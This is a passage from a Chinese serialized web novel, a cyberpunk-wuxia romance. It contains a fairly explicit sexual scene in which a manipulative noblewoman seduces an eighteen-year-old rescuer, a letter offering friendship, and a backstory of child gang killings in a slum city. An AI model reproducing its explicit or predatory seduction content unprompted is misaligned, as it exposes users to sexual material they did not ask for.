双方算是结下了梁子,而窦璇玑到底是听从了韩复指令,甚至差点丢了命,在丽景门的名声也算保住。
这便是最优解法。
当然,还有一个解法,边烬也问过窦璇玑,要不要趁机离开丽景门。
当时窦璇玑回避了这个问题,只将刀交给边烬,让她动手。
……
窦璇玑轻咳两声。
“所以接下来一段时日得麻烦你照顾我了……正好,咱们忙碌了这么长一段时间,是时候好好休息一下。”
房判:“我一定照顾好你。”
窦璇玑笑了笑,“嗯,信你。”
实在太累,又失血过多,窦璇玑什么时候昏迷的自己也不知道。
房判帮她处理完伤口也没走。
既然答应要照顾好她,便留在这儿,万一她醒来要喝水也能第一时间递给她。
窦璇玑的房间实在太小,也没其他地方休息,总不能和她一起挤在床上。
房判随意躺在地上,摘了帷帽,胡乱一裹就睡.
帝国客栈,顶层客房。
裴寂被曾倾洛抱到床上,粗略处理了一下伤口。
处理完伤口曾倾洛确定了,这些伤口都是异兽所为。
有些伤口深可见骨,若是她当时晚来一步,裴寂可能就死了。
人已经送回来了,曾倾洛打算离开,离开前对裴寂道:
“你伤不轻,我帮你联系一个医师来。”
却被裴寂拉住了手腕。
“别,叫医师的话肯定会被我姐姐发现的。”
曾倾洛心道,你住在帝国客栈顶层,这般高调,进进出出这么多人看着,难道就不怕你姐姐发现吗?
即便知道她在撒谎,被她那双眼睛瞧着,还是无法抗拒。
“方才我只是给你简单止血,不找医师缝合的话伤口还会裂开的。更何况骨骼内脏伤得如何,也得检查。”
“你帮我缝。我有机械辅助臂。”
“我不是医师啊。给你缝会留疤的。”
“就要你缝。”
曾倾洛一阵无语。
这人好生奇怪,书画大师便是行事作风这般古怪吗?
见曾倾洛不说话了,也没再拒绝,裴寂知道自己得逞了。
曾倾洛默默启动机械辅助臂,对裴寂道:“那你躺好。”
裴寂听话躺下,曾倾洛准备操作的时候,发现床上的女人一言不发地看着自己。
曾倾洛知道自己这张脸寡淡得很,与美无关,顶多算是长得清秀罢了,又因为自小命运多舛,时常被欺负,骨子里的自卑时不时还会冒头。平日里不熟的人,她都会下意识回避对视。
此刻被裴寂这样的美人盯着看,更是不自在。
曾倾洛努力忽略着裴寂暧昧的目光,让自己别多想,注意力集中在伤口的缝合上。
这机械臂有美容针辅助功能,曾倾洛选了这一项。
裴寂发现了,笑道:“没关系,留疤也没事。”
曾倾洛还是没说话,全部缝合完毕之后,松了口气。
“骨骼和内脏真没办法帮你检查了,你最好还是找人来看看,我走了。”
曾倾洛第二次要离开,裴寂第二次拉住她。
“能不能告诉我,我的救命恩人叫什么名字?”
裴寂指尖软软地扣着曾倾洛的手腕,轻轻磨着她的腕口。
曾倾洛目光有些闪烁,手腕被她磨得有点麻麻的,只道:
“今日重逢也是巧合,往后当见不着了,知晓名字也没有意义。”
“有意义。我可以将你的名字记在心上,日后再忆起这惊心动魄的一夜,心里的眷恋也好有个着落。”
“你……一向都这么轻佻吗?”
曾倾洛被她说的脸红,抽回手。
这一下牵动裴寂的伤口,裴寂捂着腹部痛得说不出话。
曾倾洛无奈,将她手执开。
“给我看看如何了……”
这声柔柔的,很好听。
裴寂:“你命令别人的时候,声音也这么可爱。”
曾倾洛秀气的眉心因凝神而蹙起,薄唇微张,方才因为被触碰而弄红的脸色依旧透着些粉意。
“伤口没有裂开,只是别再……”
话还没说话,曾倾洛的唇就被吻住了。
曾倾洛难以置信。
“你……”
“抱歉,我没忍住。其实这几日我一直在想你,还以为再也不会见面了。没想到,愿望成真。”
裴寂半支着身子,乌丝垂肩,凌乱的裙子之下,丰腴成熟的身躯散发着血腥味和甜香。
曾倾洛被这一吻完全怔住,从脸到耳尖很快被潮红浸染。
裴寂摸着她的脸,指尖在她脸庞和耳朵上缓缓抚过,勾勒着形状。
“没接过吻?”
被陌生人直言不讳拆穿的感觉应该恼怒才是,可这一刻,曾倾洛却有种心被温柔焐住的暖意。
心跳得快要无法呼吸,曾倾洛维持着最后一点理智,别开脸说:“不可……”
裴寂捧着她的脸,轻而易举将她回避的脸庞转了回来,鼻音带着笑,再次分开她已经变得滚烫的唇。
“接吻很舒服的,我教你。”
第67章
混乱的一夜在迷迷糊糊中过去,曾倾洛再次睁眼,满目奢华的空间很陌生,让她一时怔愣。
全景窗外,帝国的天空是熟悉的阴沉,浓密的铅云覆盖在密密麻麻的高楼顶端。
让人喘不上气的新一天,又开始了。
腰间有一只雪白的女人胳膊正搂着她。
后背被饱满的曲线和温热的体温包裹着,耳畔时不时吹来馨香的呼吸。
曾倾洛想起昨夜发生的荒唐事了。
裴寂教她怎么接吻,怎么取悦自己,让自己快乐。
两人在这张床上吻到天亮。
最后,裴寂体力不济,实在吻不动了,抱着她仍不让她走。
“若你走了,我死在此地无人收尸,便要烂在这张床上。别走好不好?我明天还想见到你。”
曾倾洛跟自己说,是太累了,走不动,并不是贪恋其他。
今晚就在此处休息吧,一切等明日再说。
昏昏沉沉地睡着,醒来时发现竟不是梦。
昨夜的事,实在太超出她的人生规划了,曾倾洛将裴寂的胳膊从腰间移走。
本想就此离开,可想起裴寂眷恋的眼神,还是觉得当面说一声比较好。
等她醒来,告知一声再走吧。
裴寂重伤,此时还睡得很熟。
等待的时间里,曾倾洛没有去欣赏高空景观,也没有去享受柔软舒适的沙发,连精致的酒盏器物都没有兴趣。那些都不属于她,她知道。
只走到书案边,凝视案上这卷尚未完成的画作。
画里一片浓郁的黑,风格与她在暗网上看到的裴寂其他作品很相似。
只有一点不同。
这片浓黑之中,有一点点的彩光,少到不似刻意画的,像不小心喷溅上去的。
这一点点彩光格外吸引人,像希望,像另一个世界的入口,让人想要握住。
偏偏那么小,那么微弱,被黑压压的阴郁包裹着。
不知道裴寂用了什么绘画的技法,明明是在一张纸上,却好像距离纸面千里万里,根本抓不住般遥不可及。
曾倾洛静静地看了一会儿,直到床上的女人翻了个身。
曾倾洛立即装作路过而已,不想裴寂知道自己其实喜欢她的画。
结果裴寂根本就没有醒,曾倾洛走近,发现她还闭着眼睛。
醒的时候不好意思多看,趁着她睡着,曾倾洛肆无忌惮地端详她的脸庞,端详到出神。
世界上怎么会有长得这么好看的人?
看着看着,想要主动亲吻她的心思在曾倾洛心头愈发清晰,仿佛被什么力量拉拽着,沉入裴寂的美色之中。
睡梦中的裴寂伤口发痛,难受地“嗯”了一下,打断了曾倾洛的思绪。
忽然清醒,曾倾洛立即起身,拍了拍自己的脸。
我在干什么?为何要趁她睡觉偷偷瞧她?
曾倾洛身上穿着昨夜裴寂给她的睡袍,此刻觉得人很不清醒,浑浑噩噩的,便去了浴室,将水温调到最凉,一边打着哆嗦一边洗完,倒是清醒了不少,心里那团说不清的火暂时压了下去。
从浴室出来,拿来裴寂说她可以“随便用”的一次性洗漱用具,心事重重洗漱的时候,身后缠上来一个女人。
“早啊,还没告诉我名字但已经接过吻的小宝贝。”
裴寂环住她的腰,比曾倾洛高出半个脑袋,轻松吻到她的耳朵。
“嗯?怎么这么凉?”
曾倾洛吓了一跳,立即从她怀里挣出来。
“怎么了?吓着你了?”
裴寂打了个呵欠,走入净房。
“你等我一会儿。”
曾倾洛红着脸,对净房内道:“我只是想当面跟你告别,在等你起床。”
里面水声阵阵,裴寂没应她,也不知道听到没有。
裴寂沐浴出来,寝衣松松垮垮地挂在身上。
曾倾洛不好意思看她,重复了一遍想要当面告别的话。
裴寂什么也没说,直接贴上来圈住她的脖子,将她抵在洗漱台边热吻。
非常成人的湿吻,从唇弄到脖子。
曾倾洛知道自己可以挣扎的,裴寂受了重伤,她明明可以反制。
可被她咬住肩头时,眼前白茫茫的一片,奇异的快乐再一次锁住了思绪。
别说反制,怕自己的动作稍微一大就会再弄伤裴寂,曾倾洛甚至都没舍得动弹。任裴寂蹭弄着,启开唇齿,毫不客气地剥去她的理智。
“好甜。”
或轻或重地品尝完曾倾洛的脖子和肩头,裴寂舔着红唇,去拉她的腰带。
曾倾洛立即摁住,“我该走了。”
裴寂的唇再次挤到她的脖颈里,整个人都往她怀里撞。
重重的挤压感弄得曾倾洛压抑地哼了一声。
“舍得吗?”
裴寂的掌心贴着曾倾洛的腿侧,指尖掀起下摆的一角。
“我,根本不认识你……”
被抚弄的感觉太灼人,曾倾洛仿佛被一只化了形的美人蛇纠缠,剥不开挣不脱,只能任她从肌肤上一点点滑过。
裴寂的笑声贴着曾倾洛被吻至濡热的耳朵。
“那你想从我的唇还是手开始认识?”
“……”
从洗漱台缠到床榻,这些对曾倾洛而言实在太陌生,从未想象过的事,突然像列车般撞入她的生命。
昏昏沉沉间她不知道自己在做什么,为什么会和这相当于陌生人的女人做这种事。
但很快乐,快乐到裴寂轻而易举得到了她的名字,年龄,以及一切。
“刚刚十八岁,好年轻。”
裴寂的伤在隐隐发痛,但身下人轻易就被浸染的模样实在太可爱,让她无法停止。
“你……多大了?”
曾倾洛双眼迷离着,垂着眼眸看正在吻自己腰线的女人。这么美的女人对她这般亲密又主动,难以置信。
“比你大八岁。”
裴寂在她腰侧尽情地啃咬,手中揉碾的动作也没停。
曾倾若突然低低喊了声“不”,颤抖着去扣裴寂的手腕。
裴寂咬着她的下巴,给她看湿透的手掌。
“年轻真好。”
生涩的曾倾洛完全没想到这世间还有这些事,也从来没想过自己会被弄成这样,羞赧至极。
裴寂却不给她思考的时间,跪在她面前,抬起浮满了香汗的脖子,发丝粘在肌肤上,美得不似凡物。
裴寂亲了亲肩上的腿。
那是沈逆为曾倾若做的义体。
吻到义体和原体的交接处,裴寂感叹了一声:“可怜的小宝贝,断的时候一定很疼吧。”
奇妙的感觉让曾倾洛头皮发麻,又因为裴寂的话鼻子猛地发酸。
不知第几次,曾倾洛已然泥泞不堪,混混沌沌间,眼前出现了方才看到的那幅画。
一星点的彩光仿佛就在眼前。
吻再一次汹涌而至,坐在她怀里浑身颤抖不止的时候,她对曾倾洛说:“你可以抱住我哦。”
曾倾洛带着汗水的双臂无声圈住裴寂的脖子。
裴寂单手环住她过分纤细的腰,在她肌肤上留下一个深深的吻痕,夸奖道:
“真是姐姐的乖孩子。”
想要离开的人终究没能离开。
纠缠得太久,太累,曾倾洛沉沉地睡着了。
裴寂面无表情地洗手时,窗外传来男人的声音。
“殿下……”
这儿距离曾倾洛睡觉的寝屋隔着正厅,裴寂打开窗,康逸蹲在外墙的外饰物上,凌乱的头发上还沾着血迹,一只胳膊没了,脸上三道野兽抓出的深痕。
“殿下您没事……”
康逸还没说完,裴寂抡圆了一个耳光甩在他脸上,后半句话被她硬生生打没了。
裴寂一双眼几乎能将康逸撕碎。
“我差点死了。”
康逸垂着头,“请殿下恕罪。当时异兽来得实在太猛,超出我们的预料。”
“我不想听借口。为什么异兽会成群结队攻击我,给我查。”
“喏!”
康逸正要走,裴寂叫住他。
“打疼了没有?”
“没有……殿下力气小,怎么可能会打疼奴。”
“那就好。”
方才还怒不可遏的女人,此时又笑得温柔婉丽。
“别死了,你们都要活着,我离不开你们的。”
康逸激昂领命,浑身的痛楚仿佛因她这个笑而消失殆尽,转身沿着外墙下行,飞檐走壁,宛若一只灵活的猿。
裴寂关上窗,回到床上,从曾倾洛身后抱住她。
曾倾洛在睡梦中“嗯?”了一声,似疑惑,又似舒服的哼呢。
怀里的小娘子和以往任何一件她想要的东西一样,轻轻松松得到了,里里外外都品尝过了。
没意思。
她只为得不到的东西着迷。
裴寂故意将怀中人吻醒,被吻醒的人也没有半点脾气。
指尖轻碾,连受不了的地方都那么普通,一番抵弄便带她去了。
轻易将这具年轻的身体染成了她的颜色。
裴寂乏味地想,可真好掌控啊。
撩起青丝,忍不住幻想一些更有趣的场面。
沈逆在床上会是什么样呢?
是不是很难取悦?
……
靖安侯府,主屋。
边烬洗漱回来时,见沈逆正坐在案几前,手里拿着一支蘸了墨的笔,面前铺了张纸,似要写信。
在这个世代,手指点一点就能将电子化的信件传到千万里之外,除了一些重要节庆的请柬,很少会有人动笔手写了。
边烬:“写信。”
“嗯。”
“写给谁。”
“窦璇玑。”
沈逆想了想,又道:“先前我救她,只因她重伤在我面前,并未想过借此与她结缘。可现在,那韩复居然因为我救了窦璇玑,就让她来杀我,那我就偏偏要和她当朋友。窦璇玑为了不让我为难,甚至愿意舍身赴死,这等有情有义的人已不多见。我正要写一封结交信给她。丽景门不是人待的地方,若是她想摆脱丽景门,我也会全力支持她。”
“这是好事,如何在犹豫?”
“没有犹豫。只是,现在我不是孤身一人,我有家室,有夫人。与人结交,自然要让夫人先知晓。”
沈逆这两声“夫人”,让边烬眼眸有些轻闪。
还以为边烬又要回避这个话题,没想到边烬帮她研墨时道:
“侯君想与谁结交便与谁结交,有我在侧,不会让侯君有后顾之忧。”
虽然说话的时候边烬完全没看着她,甚至没有回敬一句“夫人”。
可这两声“侯君”依旧让沈逆心折。
结交信一笔写就,一直等到子时,沈逆趁着夜色亲自操纵侦查鸟,顺利将信送到窦璇玑手中,没被丽景门其他人发现。
从侦查鸟传回的画面来看,窦璇玑被这突然出现的奇怪东西吓了一跳,还以为是异兽。
房判甚至拉满了弓,打算把它射下来。
结果发现有信,展开一看,窦璇玑小脸都看红了,最后还担忧地对侦查鸟说:“你快走。”
侦查鸟顺利离开丽景门,沈逆不着急等窦璇玑答复。
她在信中鼓励窦璇玑离开丽景门那处吃人之地,但也明白,窦璇玑自小在丽景门中长大,那是她的家。
离开家需要勇气,也需要筹谋。
沈逆当然不会强迫窦璇玑,一切交给她自己选择。
只是明明白白地告诉她,以后她在长安城多了一位随时能见面,愿意赤诚相待,相互扶持的朋友。
才过了一日,窦璇玑状态就恢复了不少,沈逆更安心了。
小黄雀已经被收到柜子里,现在晚上有师姐可以抱,她便无情地抛弃了小黄雀。
两人一同躺入被窝,原本是一人一床被,这些日子沈逆总是要边烬抱她才能睡得着,另一床被子便和小黄雀一样被冷落了。
今晚还是要师姐抱。
被沈逆缠着要抱抱的感觉,仿佛回到了双极楼的岁月。
边烬:“不是说长大了么,还要我哄。”
沈逆义正严词道:“长得再大也是你的小师妹啊。”
边烬笑着说:“口舌之争,我争不过你。”
沈逆很自觉地躺到她怀里,拉住她寝衣的衣角。
“那就别争了,按照我说的做就好。最近亲密度特别难涨,睡觉的时间这般长,就当是多巩固一下亲密的基石吧。”
其实最后十个亲密度,只要突破最后一层关系,彼此交付,应该是十拿九稳的。
但边烬心有所虑,沈逆不会勉强她,只是往前走的脚步也不会停。时不时戳一下亲密度难提升,以防师姐忘了还要开通连理模块这件事。
今夜又顺利霸占师姐的胳膊当枕头。
边烬性格天生如此,很难主动,却也没有再说拒绝的话。
甚至在沉默中微微调整了姿势,好让沈逆枕她枕得更加舒服。
感受到边烬的细心,沈逆得寸进尺的心又再蠢蠢欲动。
“师姐,我的腿想放在这儿。”
沈逆点了点边烬的腰部。
此刻两人都是侧卧,沈逆想要姿势便是腿压着边烬,整个人环抱着她。
边烬:“太亲密了。”
沈逆眨眨无辜的眼,“不亲密,能提升亲密度吗?”
“……好吧。”
沈逆不是感觉不到,自那日被边烬拒绝最后一线后,边烬对其他亲密之事也有点回避。
不管是因为名为师姐妹,实则类似抚养的关系所带来的禁忌,还是其他原因,暂时突破不了的关系沈逆不强求,但好不容易走到今日,当然不允许关系再倒退。
边烬肯定也不想半途而废,记忆她是一定要找回的。
幸好当初沈逆向李渃元求了这婚,难以想象若是现下她俩没有成亲,边烬想要找别人开通连理模块……
沈逆长腿搭在边烬身上,紧紧将她拥入怀里。
师姐只能是我的。
就算利用,也只能利用我。
边烬下巴抵在沈逆的头顶,感觉怀里人暗暗将她箍紧,不明所以,但先顺了顺她后背安抚着。
“怎么?”
“没怎么。”
沈逆这等扭曲的心态自然不能跟边烬说,找了个别的话题道:
“只是觉得师姐好厉害。”
“嗯?”
微微上扬的语调,被沈逆夸赞的原因,她想知道。
“窦璇玑这件事若我来处理,恐怕斗不过韩复那个老毒物。师姐处理得这般干脆利落,好生厉害。方才我便是在想,若是没有师姐护着我,我该如何是好。”
这番话是出自沈逆真心,除了斗不过韩复这点,其他的都是有感而发。
韩复是难应对,可沈逆也不是全然没办法,只不过没有边烬帮忙的话更麻烦,可得与她周旋。
如今有师姐护航,她脑子都不用转,跟在后面摇旗呐喊,捡捡队友便是。
长安风谲云诡,时局因李褚的流放和李极的加入变得更加难测。
无论哪个派系都在营私植党,那她也要多植些死党,以防政局更迭时无人可用。
她方才的话带着心机,是想暗戳戳地把“我离不开你”安插到边烬的心上。
会哭的孩子有糖吃。
沈逆长大了,懂事了,得学着哭一哭。
边烬的轻笑声从脑袋顶上传下来。
“是么,狡诈的靖安侯斗不过韩复?过谦了。”
沈逆被噎了一下。
她了解边烬,边烬也同样了解她,毕竟是亲手养大,一日日看着长起来的孩子。有个几个心眼,又长在什么地方,她闭着眼睛都能数得出来。
“怎么是狡诈……”
沈逆在边烬的脖子上轻咬一下。
边烬被她弄得很痒,笑道:“好吧,足智多谋。”
肩膀缩了一下,但是完全没躲,就宠着沈逆。
边烬的宠溺让沈逆非常受用,只是这么美的长腿搭在腰间好久了,真的没人想要享受一下吗?
今晚的气氛太好,亲密度依旧没有动静,沈逆打算尝试从心与心相贴的方向突破。
“师姐,你都没怎么跟我说过在死城的事。你和韩复怎么认识的,师尊又为什么将你带回双极楼?”
边烬的确没说过。
边烬跟沈逆说过的睡前故事,不是温馨可爱便是历史典故,死城那段灰暗血腥的日子,她不曾提及。
边烬:“不是多好的回忆,你想知道?”
“想。”
关于边烬的事,沈逆全部都想知道,更何况那是她生命之始。
边烬眼眸微澜。
“我人生第一个印象,是海一般望不到头的垃圾场,以及身边耶娘的尸体。”
第68章
那片垃圾场堆集成的海洋里,边烬的阿娘只剩上半身,依旧紧紧将她护在怀中。
她的阿耶浑身的义体早就不知散落何处,一双眼死死盯着天际。
这些她都不知晓。
待她开蒙,听收养她的姐姐提及捡回她的细节,再回去找时,新的垃圾山早就拔地而起。
别说是耶娘尸首,就连当初那个垃圾场也已经被更大的垃圾场吞并,半点痕迹都寻不着。
这是属于死城的“沧海桑田”。
她究竟出自哪一族,哪一支,已经深深埋在一堆废料之下,无法重见天日。
收养她的姐姐姓边,她就跟着姓了边。
收养她的姐姐说,捡到她时,垃圾场正在焚烧,本来她只是路过,听到婴儿的哭声才进去一探,没想到救出个小孩。既然是在灰烬中活下来的,就名为“烬”吧。
边烬小的时候并不知道这世间还有四面合围,可以挡风的“房子”,也不知道家是什么,住在一处破损的桥洞里,日日守着投放垃圾的时辰。时辰一到,漫天的垃圾倒下来,她们便冲进垃圾场,削尖了脑袋在一堆尸体、废物里刨出些能卖出点银子的物件。
那姐姐长什么模样,边烬已经不太记得了,只记得当初把她当做唯一的家人,姐姐走到哪她就跟到哪儿。
对方却非常嫌恶。
“别把我当妈,我可不想白养你。交不上饷银就给我滚蛋。”
边烬什么也未说,只乖乖地点了点头。
边烬那时年纪小但手脚格外利落,每次刨回来的东西要先交到这个姐姐手里,再往下分。
边烬带回来的东西最多,分回来的却非常少。
姐姐说她这么点个子,给多了也浪费,她又吃不完。
其实那时边烬的战斗天赋虽未完全觉醒,已显端倪,年纪是小个子是矮,但她需要的食物比成年人都多,吃不够也不知道藏不知道讨,就饿着。
再饿她也没有抗议过,甚至从不开口说话。
那个姐姐对别人说,她是个小哑巴。
边烬还记得无数个夜里,她抱着自己睡在桥洞,从垃圾堆里抬头看天际,伴随着肚子咕咕的叫声,试图在一片昏黑中找到传说中的星星。
不久后,姐姐死于一场再平常不过的争斗。
这种争斗在死城每日都会上演,不过就是抢垃圾,抢食物,抢地盘,抢外城人的悬赏。死城里无数派系,无数的小团伙,有时候为了一块发霉的面饼都能搭进去好几条人命。
姐姐是为了一条义腿死的,她偷了乌贼帮二当家看中的一条义腿。
那义腿就是个报废品,已经坏了,不能弯曲,但长度和她刚好契合。她早就想换掉用了六年那条长出一截的破烂了,趁夜悄悄去偷,被乌贼帮的人发现,就地打死,尸体丢到垃圾堆里。
小团伙都知道姐姐死了,没人敢为她收尸,只有边烬去了。
边烬将她七零八落的遗骸都拾回来,努力拼在一起,再寻了一处人迹罕至的地方将她埋了。
乌贼帮从那晚后销声匿迹,有人说是被边烬灭了口,不过边烬知道,灭口的不是她,而是另有其人。
那个人就是韩复。
当初的韩复和边烬一样大,不过五岁。
死城之外的人无法相信,一个五岁的孩子恐怕饭都自己吃不利索,能做什么。
死城里五岁的孩子,杀人放火已经做得样样“出色”。
韩复投毒,将整个乌贼帮的人毒死,连带着他们的资源也一抢而空。
边烬去为姐姐收尸的时候,正好看到了这幕。
至于为什么是边烬杀了整个乌贼帮的传闻会传遍整个人死城,恐怕只有韩复只知道了。
也不算彻头彻尾的坏事,从那之后,边烬的名声在死城渐大。
知道她心狠手辣,敢惹她的不多,一些走投无路的孩子都跑来投奔她。
边烬依旧不爱说话,不过大家也知道她不是真的哑巴了。
彼时死城有两大帮派,其中一个帮派向边烬抛出橄榄枝,想拉她入伙。前提条件是她起码要杀了另一个帮派的小头目,当投名状。
要知道,在死城朝不保夕,无数人都梦想着能加入这两大帮派,不用再吃发霉的食物不说,夜里也不用担心睡着睡着就被人割下脑袋。
边烬对杀人夺命之事完全不感兴趣,忽略了无数人梦寐以求的好机会。
不久后她得知,韩复毒杀了对家的二当家,顺利加入这个帮派。
年纪小但手段凶残,极其擅长使用各种剧毒,是暗杀的一把好手。
韩复在死城横空出世,和边烬并称“死城双子星”。
死城双子星的名号传到了城外,当时一心想要扩大师门,培养优秀弟子的双极楼师尊打算从死城里选个小孩为徒,带离那座没有未来的废城。
死城的孤儿是没有户籍的,连贱籍都没有,终身无法离开这座垃圾场。死城恶名远播,都说城中人人贱命,天生暴力,是行走的病毒,不允许离开。一旦想要逃脱,便会当做贼寇通缉,官差和赏金猎人都会全力追捕,不让死城里不安的危险因子往外流窜。
死城的名字便是因此而来。
来到这座城市的人,生于此,也必定死于此。
除非被人收养,拥有户籍。
可谁会收养吃垃圾长大,野蛮又肮脏的小孩呢?
双极楼当时美名远扬,师尊竟要来死城选徒,只要十岁以下易教化的孩童。
整个死城沸腾了。
这是摆脱死城的大好机会,师尊给予的不是一个户籍,是重新投胎的机会。
师尊到的那日,上千名孤儿一大早蜂拥而至,迫切希望自己能被挑走。
边烬也来了,没有像别人一样涌上去堵师尊,而是躲在树梢上悄悄地看着。
一个清瘦高挑,满头白发的女人被脏兮兮的小孩们围着,从容不迫地将手里的馒头递给孩子们。
死城里的小孩几乎没见过雪白柔软,还带着点温度的馒头,一个个穷凶极恶地上去夺。师尊的手背被抓脏了,抓伤了,也没有半点着恼,依旧好脾气地分发食物。
边烬回忆道:“那是我第一次见到师尊。当时她也不过四十岁的年纪吧,头发已经全白了。一开始我只是看到她背影,觉得这奶奶即便满头鹤发身姿竟这么挺拔。没想到她一转头,竟是一张……”
边烬说到此处,顿了顿,继续道:
“竟是一张模糊了年龄的脸,不着半点岁月的痕迹。”
沈逆猜测,边烬原本是像说“竟是一张倾城绝美容颜”之类的话。她看过师尊的照片,的确很美。
估计是怕沈逆问她“吾与师尊孰美”这种荒唐话来,所以临时改了口。
自己的确会这么问,沈逆忍不住笑出声。
边烬:“嗯?”
“没事,你继续说,神仙一般的师尊后来是怎么选了你当徒弟的。韩复去了吗?”
边烬不免疑心,沈逆这逆徒口中“神仙一般的师尊”不是什么真心话。
“韩复自然去了。师尊分完馒头,让大家吃饱之后,出了一道题。”
师尊说,就在死城东南方向三里地,有个名为紫羽鸠的巨型鸟类的巢。这种鸟是群居的,性格暴躁非常有攻击性。她想看看谁将鸟蛋带回来最多。
听到这种题目,一群在你死我活中长大的小孩自然兴奋,立刻出击,冲向紫羽鸠的鸟巢。
韩复是第一个回来的。
紫羽鸠鸟蛋非常大,每个都有成年人的脑袋那么大。
韩复拖了一整个鸟巢回来,里面装着六枚蛋。
她浑身上下都被血浸透,似是受了重伤。
彼时边烬还没有回来,韩复和师尊的对话是事后听别人说的。
韩复对师尊说:“我没有别的要求,只有一点,我可以当你的徒弟,但是你必须把我阿娘带上。否则我不跟你走。”
沈逆听到这里,插话道:“韩门主从小就这么气势汹汹啊。她是觉得自己赢定了。她阿娘是什么情况?”
“听说她耶娘都是医师,以前住在死城之外,阿耶给人看病的时候没能把人救活,病人的亲属活生生将他打死。她阿娘当时怀着她实在走投无路,才跑到死城。那些追杀她的人天涯海角都会追,但是一入死城便算她们死了,追杀也就停了。”
“所以,韩复实在死城出生的。”
“对。她娘生她的时候正在逃亡,身体落下不少毛病,生她时更是去了半条命。韩复知道她家的过往,便逢人便说学医救人没有好下场,所以她这半生都在用毒、杀人,如今更是以身练毒。”
沈逆用手指卷着边烬的发梢道:
“师尊没选她当弟子,应该也是看出了她的邪性。那你呢,你带了多少蛋回来?”
“一个也没有。”
这倒是出乎沈逆的意料。
“一个都没有?”
紫羽鸠的确非常凶狠,除了韩复,当时死城的小孩能带回鸟蛋的寥寥无几。
而师尊当时也没有回应韩复,全部人都在等边烬。
边烬回来的时候两手空空,一个鸟蛋都没有,身上半点伤都未见。
师尊好奇,问她怎么回事。
原来,边烬找到一处鸟巢时,发现鸟巢内有五枚蛋,其中还有一只刚刚破壳眼睛都还未睁开的幼鸟。而幼鸟的耶娘就在不远处的合力大战天敌——一只非常强壮的蓝爪红隼。
边烬对师尊说:“它们在保护幼崽,我不想趁火打劫,所以没有取蛋。”
师尊问她:“那你帮忙它们杀了蓝爪红隼?”
“没有,我只是赶跑了它。或许它家中也有等待它回去的幼崽和伴侣。”
周围人窃窃私语,师尊听完边烬所言,对她非常赏识。
“小小年纪竟这等宽仁,实在难得。”
边烬道:“我不宽仁,我杀过很多人。”
能在死城活着,手不可能干净。
师尊道:“蓝爪红隼何等厉害,恐怕A级战斗天赋者都未必斗得过。你一个半大点的孩子居然能将它赶跑,还不受半点伤,实在难得。强者仁心,是我所求的徒儿。你愿意和我离开这里,前往双极楼吗?你会是我第一个徒儿,也是未来双极楼的大师姐。”
边烬没想到自己什么也没带回来,还是被选中了。
“不开心?”师尊蹲下来与她平视,“有什么顾虑?想要带着谁一起走么?”
站在人群间的韩复慢慢后退,留下最后一抹怨恨的眼神。
有些孩童是跟着边烬的,受她的庇护,但她知道,这些孩子只不过想依仗着她混口饭吃,没有人非她不可。她走了,这些人会投奔新的帮派,很快忘了她。
边烬摇摇头,只问了师尊一句话。
“双极楼能看到星星吗?”
……
边烬跟着师尊去了双极楼,那时的双极楼不似日后兴盛,楼宇屋舍很多都是边烬和师尊一起建起来的。
师尊有不少好友往来,也时常会带边烬去城里购置些物件。
师尊名气大,大家都知道她收了个死城来的徒儿,有些顽皮的孩童见到边烬就会捂住鼻子,假装闻到臭味,在一旁起哄。
边烬渐渐明白城外人对死城孤儿的偏见,从那之后,每天都要梳洗数遍,将自己收拾得一丝不苟,不容有一点脏污。
沈逆听到此处心里酸酸的。
所以师姐洁癖的毛病,大概就是因此而生的吧。
不想让边烬再回忆难受的过往,沈逆和她十指相扣道:
“我还有多久才登场?”
边烬被她逗得笑了一声。
“很快了。我到双极楼两年,还是很喜欢去西极峰看星星。某个雪夜,我在西极峰捡到了你。”
“当初为什么会愿意将一个陌生的小孩带回师门?”
提到这件往事,边烬的眼眸缓缓覆上了一层温馨的暖意。
“那时,你握住了我的手。”
粉团似的小婴儿,是边烬见过最漂亮的小女孩,却被冻得浑身哆嗦,可可怜怜。小手抓着边烬的手指,原本在哭,一见到她就不哭了。
双眸垂泪,好奇地打量她的模样,边烬依旧清晰地记得。
当时只觉得与这个孩子有缘,来看星星却碰到突然降雪,提前下峰,晚来一步可能她就冻死了。
手指被冰冷的小手握住,边烬动动指尖,轻挠她掌心。
她还是冻得难受,但被这一挠缓解了不少。
边烬敞开斗篷,将小婴儿贴在怀里暖着,四下寻找了一圈,在风雪里呼喊,有没有人丢了孩子。
大半天也没有人回应她。
边烬捏了捏小孩有了些温暖的小脸蛋说:
“你只好跟着我了。”
之后的事,沈逆都知道了。
边烬还在说:“其实很奇怪,西极峰那么陡峭,刻意攀爬都需费些力气,怎么会有人将婴儿遗落在那?”
沈逆思绪已经飞到别处,不免想,当初师姐第一次抱住她的时候,姿势应该和现在没什么太大的区别吧,只是两人都长大了。
在师门时,沈逆听过不少师尊的事。
师尊之所以要收徒,正是因为染了病,知道自己时日无多,想要给帝国留下最后一点遗产。她几乎行过了所有大陆,最后挑中了边烬。
这么说起来,自卑的死城孤儿变成了撑起双极楼的大师姐,又远征北境,曾被万众敬仰,离不开师尊的培养。
还是要感谢师尊,要不是师尊慧眼识珠,边烬如今会是什么样?说双极楼重塑了她,此话不假。
更甚者,没有师尊,沈逆恐怕也无法与边烬相遇。
师尊到底对师姐有知遇之恩,沈逆庆幸自己后来记得把师尊遗作从渣斗里捞了回来,放在工作室里供奉着。
看边烬似乎陷入了对师尊的追忆里,有些出神,沈逆往她怀里拱得用力了些,将她的注意力吸引回来。
“那韩复是怎么到李渃元身边,一手创办了丽景门?”
“当初李渃元登基不久,帝位不稳,想要暗杀她的人不少。而韩复的阿娘死了,她在死城里兴风作浪,恶名昭彰,有人出了大价钱悬赏她,她被一位顶级的赏金猎人打成重伤,险些死了。同一时间,李渃元消失了三日,再出现在长安时,身边就多了一位神秘少女。”
“李渃元特意去死城救下韩复?是听闻她的恶名,还是早就在留意她?”
边烬看向沈逆,“悬赏韩复的人出手阔绰,身份成谜。”
沈逆被边烬这句话说得头皮一紧。
“你是说……悬赏韩复的就是李渃元?伤了韩复,再去假装去救她?”
“这只是我的猜测,没有真凭实据。只是死城之内再大的风波,外界是不会管的。居然有人为了杀一个无法到外界作乱的孤女而一掷千金,之后又销声匿迹,实在很反常。”
“可是,韩复居然能因为被李渃元所救,就对她死心塌地么……”
沈逆对韩复这个人的观感停留在她浑身是毒,手段残忍上。
